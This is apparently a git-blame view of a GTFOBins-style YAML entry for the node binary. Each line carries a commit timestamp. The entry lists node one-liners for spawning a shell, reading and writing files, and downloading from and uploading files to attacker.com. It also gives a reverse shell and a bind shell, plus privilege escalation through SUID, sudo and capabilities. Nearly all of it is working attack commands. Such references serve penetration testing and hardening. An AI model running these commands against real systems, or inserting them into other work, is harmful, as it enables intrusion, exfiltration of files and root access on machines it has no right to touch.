2018-05-23 20:47:50 +02:00
|
|
|
---
|
|
|
|
functions:
|
2018-10-05 19:55:38 +02:00
|
|
|
shell:
|
2018-07-16 15:01:50 +02:00
|
|
|
- code: |
|
2022-09-08 21:03:11 +02:00
|
|
|
node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
|
2021-02-20 12:17:28 +01:00
|
|
|
file-write:
|
2022-09-08 21:03:11 +02:00
|
|
|
- code: node -e 'require("fs").writeFileSync("file_to_write", "DATA")'
|
2021-02-20 12:17:28 +01:00
|
|
|
file-read:
|
2022-09-08 21:03:11 +02:00
|
|
|
- code: node -e 'process.stdout.write(require("fs").readFileSync("/bin/ls"))'
|
2021-02-20 12:17:28 +01:00
|
|
|
file-download:
|
|
|
|
- description: Fetch a remote file via HTTP GET request.
|
|
|
|
code: |
|
|
|
|
export URL=http://attacker.com/file_to_get
|
|
|
|
export LFILE=file_to_save
|
2022-09-08 21:03:11 +02:00
|
|
|
node -e 'require("http").get(process.env.URL, res => res.pipe(require("fs").createWriteStream(process.env.LFILE)))'
|
2021-02-20 12:17:28 +01:00
|
|
|
file-upload:
|
|
|
|
- description: Send a local file via HTTP POST request.
|
|
|
|
code: |
|
|
|
|
export URL=http://attacker.com
|
|
|
|
export LFILE=file_to_send
|
2022-09-08 21:03:11 +02:00
|
|
|
node -e 'require("fs").createReadStream(process.env.LFILE).pipe(require("http").request(process.env.URL))'
|
2018-10-05 19:55:38 +02:00
|
|
|
reverse-shell:
|
2018-07-16 15:01:50 +02:00
|
|
|
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
|
|
|
|
code: |
|
|
|
|
export RHOST=attacker.com
|
|
|
|
export RPORT=12345
|
2022-09-08 21:03:11 +02:00
|
|
|
node -e 'sh = require("child_process").spawn("/bin/sh");
|
|
|
|
require("net").connect(process.env.RPORT, process.env.RHOST, function () {
|
2018-07-16 15:01:50 +02:00
|
|
|
this.pipe(sh.stdin);
|
|
|
|
sh.stdout.pipe(this);
|
|
|
|
sh.stderr.pipe(this);
|
2021-02-20 11:58:47 +01:00
|
|
|
})'
|
2018-10-05 19:55:38 +02:00
|
|
|
bind-shell:
|
2018-07-16 15:01:50 +02:00
|
|
|
- description: Run `nc target.com 12345` on the attacker box to connect to the shell.
|
|
|
|
code: |
|
|
|
|
export LPORT=12345
|
2022-09-08 21:03:11 +02:00
|
|
|
node -e 'sh = require("child_process").spawn("/bin/sh");
|
|
|
|
require("net").createServer(function (client) {
|
2018-07-16 15:01:50 +02:00
|
|
|
client.pipe(sh.stdin);
|
|
|
|
sh.stdout.pipe(client);
|
|
|
|
sh.stderr.pipe(client);
|
2021-02-20 11:58:47 +01:00
|
|
|
}).listen(process.env.LPORT)'
|
2018-10-05 19:55:38 +02:00
|
|
|
suid:
|
2018-07-16 15:01:50 +02:00
|
|
|
- code: |
|
2022-09-08 21:03:11 +02:00
|
|
|
./node -e 'require("child_process").spawn("/bin/sh", ["-p"], {stdio: [0, 1, 2]})'
|
2018-10-05 19:55:38 +02:00
|
|
|
sudo:
|
2018-07-16 15:01:50 +02:00
|
|
|
- code: |
|
2022-09-08 21:03:11 +02:00
|
|
|
sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
|
2018-10-05 19:55:38 +02:00
|
|
|
capabilities:
|
2018-09-12 23:02:05 +02:00
|
|
|
- code: |
|
2022-09-08 21:03:11 +02:00
|
|
|
./node -e 'process.setuid(0); require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
|
2018-05-24 00:40:03 +02:00
|
|
|
---
|